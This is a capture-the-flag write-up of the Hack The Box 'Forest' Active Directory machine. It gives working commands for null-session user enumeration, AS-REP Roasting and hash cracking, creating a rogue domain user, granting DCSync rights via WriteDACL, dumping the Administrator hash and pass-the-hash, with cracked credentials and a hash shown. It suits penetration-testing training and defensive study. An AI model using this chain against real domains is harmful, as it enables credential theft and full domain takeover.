Post

Forest

An RPC null session exposes all domain users; svc-alfresco has Kerberos pre-authentication disabled, so AS-REP Roasting returns an offline-crackable hash that cracks to s3rvice, granting a WinRM shell and the user flag.

Forest

Overview

Forest is an Easy-difficulty Windows Active Directory domain controller. The attack chain starts with anonymous RPC enumeration to harvest domain usernames, then targets svc-alfresco whose account has Kerberos pre-authentication disabled — AS-REP Roasting returns an offline-crackable hash that hashcat breaks against rockyou in seconds. That credential lands a WinRM shell as svc-alfresco, who is in Account Operators. From there, a new user is added to Exchange Windows Permissions (which carries WriteDACL on the domain object), impacket-dacledit grants DCSync rights, secretsdump dumps the Administrator hash, and a Pass-the-Hash evil-winrm session completes the domain compromise.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

High Enumeration and Real-Life axes reflect the multi-layer AD recon chain (RPC null session, AS-REP Roasting, WriteDACL abuse, DCSync) that mirrors genuine internal pentest findings; no CVE and no custom exploit keeps those axes flat.

Recon

PortServiceNotes
53/tcpDNSSimple DNS Plus
88/tcpKerberosDomain: htb.local
135/tcpMSRPCMicrosoft Windows RPC
139/tcpnetbios-ssnNetBIOS session
389/tcpLDAPActive Directory LDAP
445/tcpSMBMicrosoft-DS
464/tcpkpasswd5Kerberos password
593/tcpncacn_httpRPC over HTTP
636/tcpLDAPSLDAP over SSL
3268/tcpglobalcatLDAPGlobal Catalog LDAP
5985/tcpWinRMMicrosoft HTTPAPI 2.0
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p53,88,135,139,389,445,464,593,636,3268,5985 -sC -sV -Pn 10.10.10.X

The port spread — Kerberos, LDAP, Global Catalog, MSRPC, SMB, and WinRM — is the fingerprint of a domain controller. No web server is exposed, so RPC and Kerberos are the obvious first-attack surfaces.

Enumeration

With no web service to browse, the first move is to test whether RPC allows a null (unauthenticated) session and can enumerate domain users. On many older or misconfigured AD environments this works by default.

1
rpcclient -U '' -N 10.10.10.X -c 'enumdomusers' | grep -oP '\[.*?\]' | sed 's/\[//g;s/\]//g' | grep -v '0x' > users.txt

The null session succeeds and returns the full domain user list, including svc-alfresco. With a user list in hand, the next step is to check whether any account has Kerberos pre-authentication disabled — the AS-REP Roasting condition (CWE-287):

1
impacket-GetNPUsers htb.local/ -usersfile users.txt -dc-ip 10.10.10.X -format hashcat -no-pass

svc-alfresco returns a $krb5asrep$23$ hash. The $23$ tag means RC4 encryption, the weakest Kerberos cipher — fast to crack offline.

Foothold

Crack the AS-REP hash with hashcat against the rockyou wordlist (CWE-521 — weak password):

1
hashcat -a 0 -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

hashcat returns svc-alfresco:s3rvice in seconds. Port 5985 (WinRM) is open and svc-alfresco has remote-management access, so the cracked credential drops straight into a shell:

1
evil-winrm -i 10.10.10.X -u svc-alfresco -p s3rvice

User flag

1
type C:\Users\svc-alfresco\Desktop\user.txt   # HTB{...}

We land as svc-alfresco on the domain controller and the user flag is ours.

Privilege Escalation

After landing the shell, enumerate group membership. svc-alfresco is in Account Operators — a privileged built-in group that can create domain users and add them to most groups. The Exchange Windows Permissions group has WriteDACL on the domain object, meaning any member can rewrite the domain ACL and grant themselves DCSync rights (CWE-269, CWE-732).

Step 1 — Create a new domain user and add it to the Exchange group (run inside evil-winrm):

1
net user hax0r P@ssw0rd123! /add /domain
1
net group "Exchange Windows Permissions" hax0r /add /domain
1
net localgroup "Remote Management Users" hax0r /add

Step 2 — From Kali, use WriteDACL to grant DCSync rights to the new user:

1
impacket-dacledit -action write -rights DCSync -principal hax0r -target-dn "DC=htb,DC=local" htb.local/hax0r:'P@ssw0rd123!' -dc-ip 10.10.10.X

Step 3 — DCSync to dump the Administrator NTLM hash:

1
impacket-secretsdump htb.local/hax0r:'P@ssw0rd123!'@10.10.10.X -just-dc-user Administrator

secretsdump impersonates a DC replication partner and receives Administrator’s NT hash directly from AD replication. No plaintext password needed.

Step 4 — Pass-the-Hash as Administrator:

1
evil-winrm -i 10.10.10.X -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6

Root flag

1
type C:\Users\Administrator\Desktop\root.txt   # HTB{...}

Domain Administrator shell confirmed — full compromise of the htb.local domain.

This post is licensed under CC BY 4.0 by the author.